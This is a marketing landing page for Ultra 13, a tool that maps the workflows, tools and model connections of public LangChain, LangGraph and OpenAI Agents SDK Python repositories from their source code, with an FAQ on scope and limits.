Follow the workflow
Explore the steps, branches and loops that define how your agent works.
Architecture, backed by source
See what your
AI agent
connects to.
Understand its workflow. Inspect its tools and model connections. Trace what you see back to the code.
Free at launch. Join the waitlist for access.
Built for LangChain LangGraph OpenAI Agents SDK
Public GitHub repositories · Python
Local Deep ResearcherFrom repository to architecture
Source-backed
Pinned example: Local Deep Researcher workflow source
AI agent architecture,
backed by source.
Ultra 13 is a hosted AI agent architecture mapping tool for developers and reviewers. It turns supported public Python repositories using LangChain, LangGraph and the OpenAI Agents SDK into interactive maps. Explore source-declared workflows, tools and model connections, inspect the supporting code, and see which relationships remain unresolved.
Inspect the connections
Examine tools, model configuration and other components identified in the source.
Check the evidence
Follow source references. See what is established, inferred or still unresolved.
How to map an
AI agent repository.
Get oriented in an unfamiliar codebase, explain the architecture to a colleague, or prepare for a deeper review.
- 1
Add a GitHub URL
Choose a supported public Python repository using LangChain, LangGraph or OpenAI Agents SDK.
- 2
Explore the architecture
Inspect the workflow and connections. Select a component to take a closer look.
- 3
Follow the source
Review the evidence behind the map and investigate what remains unresolved.
A clearer view includes the gaps. Ultra 13 keeps unresolved source behaviour visible, so you can see what still needs investigation.
AI agent mapping:
your questions.
The scope of the initial release.
Which frameworks are supported?
LangChain, LangGraph and OpenAI Agents SDK for Python. LangChain mapping supports create_agent and related supported source patterns. Coverage varies by SDK and code pattern; unsupported or unresolved behaviour stays visible.
What does an AI agent architecture map show?
Ultra 13 maps components and relationships it can establish from a supported repository’s source. The map helps you inspect workflows, tools and model configuration. Source declarations do not establish runtime behaviour: unresolved connections and unsupported patterns remain visible.
Does Ultra 13 run my agent?
Ultra 13 inspects source without executing the imported agent. Mapping does not establish live tool use, effective runtime settings or whether declared controls are enforced.
Can I use a private repository?
The initial launch supports public GitHub repositories.
Does it find security vulnerabilities?
Security findings are coming soon. The current release maps architecture and provides source evidence to support your review.
Is Ultra 13 free?
Ultra 13 is free during the initial launch.
Your agent.
A clearer picture.
Explore the architecture. Follow it back to the code.
Map your agent free
Free during the initial launch.